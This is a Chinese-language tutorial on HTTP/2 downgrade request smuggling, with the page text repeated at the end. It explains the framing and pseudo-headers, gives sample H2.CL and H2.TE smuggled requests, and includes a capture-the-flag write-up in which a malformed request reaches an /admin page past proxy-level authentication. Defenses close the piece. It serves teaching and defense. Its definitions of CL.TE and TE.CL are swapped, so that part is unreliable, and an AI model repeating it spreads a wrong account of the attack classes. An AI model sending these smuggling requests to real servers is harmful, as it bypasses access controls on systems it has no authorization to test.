HTTP2降级请求走私
字数 1349 2025-08-10 08:28:15

HTTP/2降级请求走私技术详解

1. HTTP请求走私基础概念

1.1 历史背景

HTTP请求走私(HTTP Request Smuggling)概念首次在2005年Black Hat安全会议上由Chetan Kunte和Amit Klein提出,揭示了HTTP/1.1协议在处理请求时的歧义性问题。

1.2 基本原理

利用不同服务器对HTTP请求边界解析的差异,使攻击者能够插入恶意HTTP请求,导致后续正常请求被错误处理。

1.3 主要类型

  1. CL.TE:前端代理优先考虑Transfer-Encoding头,后端优先考虑Content-Length头
  2. TE.CL:前端代理优先考虑Content-Length头,后端优先考虑Transfer-Encoding头
  3. TE.TE:前后端对多个Transfer-Encoding头处理方式不一致

2. HTTP/2协议特性

2.1 核心改进

  • 二进制分帧
  • 多路复用
  • 头部压缩
  • 服务器推送

2.2 分帧机制

HTTP/2将通信信息分解为多个帧:

  • HEADER frame(头部信息)
  • CONTINUATION frame(补充头部)
  • DATA frame(负载数据)
  • END_STREAM标志位(结束标志)

2.3 伪头字段

HTTP/2特有的以冒号开头的特殊头部字段:

  • :method:HTTP请求方法
  • :scheme:URI方案
  • :path:请求路径(至少为"/")
  • :authority:目标主机和端口
  • :status:响应状态码(仅响应)

3. HTTP/2降级请求走私原理

3.1 漏洞成因

当HTTP/2流量通过代理转换为HTTP/1.x时,代理未正确处理请求边界,导致请求走私。

3.2 典型场景

  • 前端支持HTTP/2的CDN
  • 后端仅支持HTTP/1.x的服务

3.3 示例攻击

构造畸形HTTP/2请求:

POST / HTTP/2.0
Host: www.example.com
Content-Length: 1

aGET / HTTP/1.1
Host: www.example.com

3.4 解析差异

  • HTTP/2代理:忽略Content-Length,视为单个请求
  • HTTP/1.x后端:按Content-Length解析为两个请求

4. 实战案例:极客大挑战-EZ_Smuggling

4.1 场景分析

  • 登录系统后有三篇普通文章和一篇admin专属文章
  • 认证在HTTP/2代理层实现
  • 后端为HTTP/1.x服务

4.2 攻击步骤

  1. 捕获正常访问请求
  2. 构造畸形请求:
POST /articles?id=2 HTTP/2.0
Host: x.x.x.x:8080
Content-Length: 1

aGET /admin HTTP/1.1
Host: x.x.x.x:8080
cookie: [有效session]
  1. 发送时不修复content-length

4.3 效果

  • 前端代理:视为普通文章请求通过认证
  • 后端服务:解析为两个请求,第二个为admin请求

5. 扩展攻击技术

5.1 H2.TE攻击

构造示例:

POST / HTTP/2.0
Host: www.example.com
Transfer-Encoding: chunked

a
0
GET / HTTP/1.1
Host: www.example.com

5.2 头部注入绕过

利用HTTP/2帧传输特性:

  • 不再需要\r\n作为分隔符
  • 可在请求头中插入特殊字符绕过过滤

6. 防御措施

6.1 服务端防护

  • 禁用HTTP降级
  • 严格验证请求边界
  • 统一前后端解析规则

6.2 代理配置

  • 拒绝包含冲突头部的请求
  • 实现严格的HTTP/2到HTTP/1.x转换逻辑

6.3 开发建议

  • 避免依赖客户端提供的长度信息
  • 实施请求规范化处理

7. 总结

HTTP/2降级请求走私是一种新型的Web攻击技术,利用协议转换过程中的解析差异实现权限绕过。理解其原理和防御方法对构建安全的Web应用至关重要。

HTTP/2降级请求走私技术详解 1. HTTP请求走私基础概念 1.1 历史背景 HTTP请求走私(HTTP Request Smuggling)概念首次在2005年Black Hat安全会议上由Chetan Kunte和Amit Klein提出,揭示了HTTP/1.1协议在处理请求时的歧义性问题。 1.2 基本原理 利用不同服务器对HTTP请求边界解析的差异,使攻击者能够插入恶意HTTP请求,导致后续正常请求被错误处理。 1.3 主要类型 CL.TE :前端代理优先考虑Transfer-Encoding头,后端优先考虑Content-Length头 TE.CL :前端代理优先考虑Content-Length头,后端优先考虑Transfer-Encoding头 TE.TE :前后端对多个Transfer-Encoding头处理方式不一致 2. HTTP/2协议特性 2.1 核心改进 二进制分帧 多路复用 头部压缩 服务器推送 2.2 分帧机制 HTTP/2将通信信息分解为多个帧: HEADER frame(头部信息) CONTINUATION frame(补充头部) DATA frame(负载数据) END_ STREAM标志位(结束标志) 2.3 伪头字段 HTTP/2特有的以冒号开头的特殊头部字段: :method :HTTP请求方法 :scheme :URI方案 :path :请求路径(至少为"/") :authority :目标主机和端口 :status :响应状态码(仅响应) 3. HTTP/2降级请求走私原理 3.1 漏洞成因 当HTTP/2流量通过代理转换为HTTP/1.x时,代理未正确处理请求边界,导致请求走私。 3.2 典型场景 前端支持HTTP/2的CDN 后端仅支持HTTP/1.x的服务 3.3 示例攻击 构造畸形HTTP/2请求: 3.4 解析差异 HTTP/2代理 :忽略Content-Length,视为单个请求 HTTP/1.x后端 :按Content-Length解析为两个请求 4. 实战案例:极客大挑战-EZ_ Smuggling 4.1 场景分析 登录系统后有三篇普通文章和一篇admin专属文章 认证在HTTP/2代理层实现 后端为HTTP/1.x服务 4.2 攻击步骤 捕获正常访问请求 构造畸形请求: 发送时不修复content-length 4.3 效果 前端代理:视为普通文章请求通过认证 后端服务:解析为两个请求,第二个为admin请求 5. 扩展攻击技术 5.1 H2.TE攻击 构造示例: 5.2 头部注入绕过 利用HTTP/2帧传输特性: 不再需要\r\n作为分隔符 可在请求头中插入特殊字符绕过过滤 6. 防御措施 6.1 服务端防护 禁用HTTP降级 严格验证请求边界 统一前后端解析规则 6.2 代理配置 拒绝包含冲突头部的请求 实现严格的HTTP/2到HTTP/1.x转换逻辑 6.3 开发建议 避免依赖客户端提供的长度信息 实施请求规范化处理 7. 总结 HTTP/2降级请求走私是一种新型的Web攻击技术,利用协议转换过程中的解析差异实现权限绕过。理解其原理和防御方法对构建安全的Web应用至关重要。